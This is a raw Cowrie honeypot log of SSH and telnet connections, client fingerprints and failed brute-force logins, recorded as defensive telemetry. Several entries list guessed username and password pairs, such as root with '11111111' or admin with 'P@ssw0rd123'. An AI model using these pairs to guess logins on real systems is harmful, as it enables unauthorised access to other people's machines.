{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36566,"dst_ip":"10.17.0.5","dst_port":22,"session":"2aee1c545ff5","protocol":"ssh","message":"New connection: 95.38.165.118:36566 (10.17.0.5:22) [session: 2aee1c545ff5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:56.984847Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:56.989366Z","src_ip":"95.38.165.118","session":"2aee1c545ff5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:57.161046Z","src_ip":"95.38.165.118","session":"2aee1c545ff5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:03:58.526042Z","src_ip":"95.38.165.118","session":"2aee1c545ff5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:00.136050Z","src_ip":"95.38.165.118","session":"2aee1c545ff5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.115.59","src_port":57369,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e2a62e6bdb1","protocol":"ssh","message":"New connection: 45.79.115.59:57369 (159.203.135.109:22) [session: 5e2a62e6bdb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:00.599537Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:01.130052Z","src_ip":"45.79.115.59","session":"5e2a62e6bdb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.38829255104065,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:01.228576Z","src_ip":"69.4.83.194","session":"04f0db8dc632","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36578,"dst_ip":"10.17.0.5","dst_port":22,"session":"4718e40b030c","protocol":"ssh","message":"New connection: 95.38.165.118:36578 (10.17.0.5:22) [session: 4718e40b030c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:01.989447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:02.438032Z","src_ip":"95.38.165.118","session":"4718e40b030c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:02.977516Z","src_ip":"95.38.165.118","session":"4718e40b030c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":36938,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a3e460686f","protocol":"ssh","message":"New connection: 87.251.79.125:36938 (159.203.135.109:22) [session: a7a3e460686f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:05.624902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:05.629352Z","src_ip":"87.251.79.125","session":"a7a3e460686f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:05.702929Z","src_ip":"87.251.79.125","session":"a7a3e460686f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:05.711142Z","src_ip":"95.38.165.118","session":"4718e40b030c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123546","message":"login attempt [root/123546] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:05.924519Z","src_ip":"87.251.79.125","session":"a7a3e460686f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.000538Z","src_ip":"87.251.79.125","session":"a7a3e460686f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57846,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba9e2fe8794e","protocol":"ssh","message":"New connection: 95.38.165.118:57846 (10.17.0.5:22) [session: ba9e2fe8794e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.338793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.343991Z","src_ip":"95.38.165.118","session":"ba9e2fe8794e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.515753Z","src_ip":"95.38.165.118","session":"ba9e2fe8794e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":57270,"dst_ip":"159.203.135.109","dst_port":22,"session":"12aaf51e7d05","protocol":"ssh","message":"New connection: 77.239.106.153:57270 (159.203.135.109:22) [session: 12aaf51e7d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.655444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.660635Z","src_ip":"77.239.106.153","session":"12aaf51e7d05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:07.751108Z","src_ip":"77.239.106.153","session":"12aaf51e7d05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:08.022679Z","src_ip":"95.38.165.118","session":"ba9e2fe8794e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"P@ssw0rd123","message":"login attempt [admin/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:08.143839Z","src_ip":"77.239.106.153","session":"12aaf51e7d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:09.190863Z","src_ip":"95.38.165.118","session":"ba9e2fe8794e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:09.237259Z","src_ip":"77.239.106.153","session":"12aaf51e7d05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.6890070438385,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:10.162631Z","src_ip":"69.4.83.194","session":"bc108e53e600","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":57852,"dst_ip":"10.17.0.5","dst_port":22,"session":"f790b96ec1d8","protocol":"ssh","message":"New connection: 95.38.165.118:57852 (10.17.0.5:22) [session: f790b96ec1d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:12.440737Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:12.449668Z","src_ip":"95.38.165.118","session":"f790b96ec1d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:12.608083Z","src_ip":"95.38.165.118","session":"f790b96ec1d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:13.111749Z","src_ip":"95.38.165.118","session":"f790b96ec1d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:19.352679Z","src_ip":"95.38.165.118","session":"4718e40b030c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36208,"dst_ip":"10.17.0.5","dst_port":22,"session":"612538e5bb5d","protocol":"ssh","message":"New connection: 95.38.165.118:36208 (10.17.0.5:22) [session: 612538e5bb5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:19.456525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:19.464935Z","src_ip":"95.38.165.118","session":"612538e5bb5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:19.621413Z","src_ip":"95.38.165.118","session":"612538e5bb5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:21.161700Z","src_ip":"95.38.165.118","session":"612538e5bb5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:22.734718Z","src_ip":"95.38.165.118","session":"612538e5bb5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":36222,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4a1abeed398","protocol":"ssh","message":"New connection: 95.38.165.118:36222 (10.17.0.5:22) [session: f4a1abeed398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:22.900073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:22.943013Z","src_ip":"95.38.165.118","session":"f4a1abeed398","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:23.784501Z","src_ip":"95.38.165.118","session":"f4a1abeed398","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:24.745279Z","src_ip":"95.38.165.118","session":"f4a1abeed398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:25.927525Z","src_ip":"95.38.165.118","session":"f4a1abeed398","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:27.545604Z","src_ip":"95.38.165.118","session":"f790b96ec1d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":48934,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f6506311c4b","protocol":"ssh","message":"New connection: 95.38.165.118:48934 (10.17.0.5:22) [session: 1f6506311c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:04:27.983780Z"}
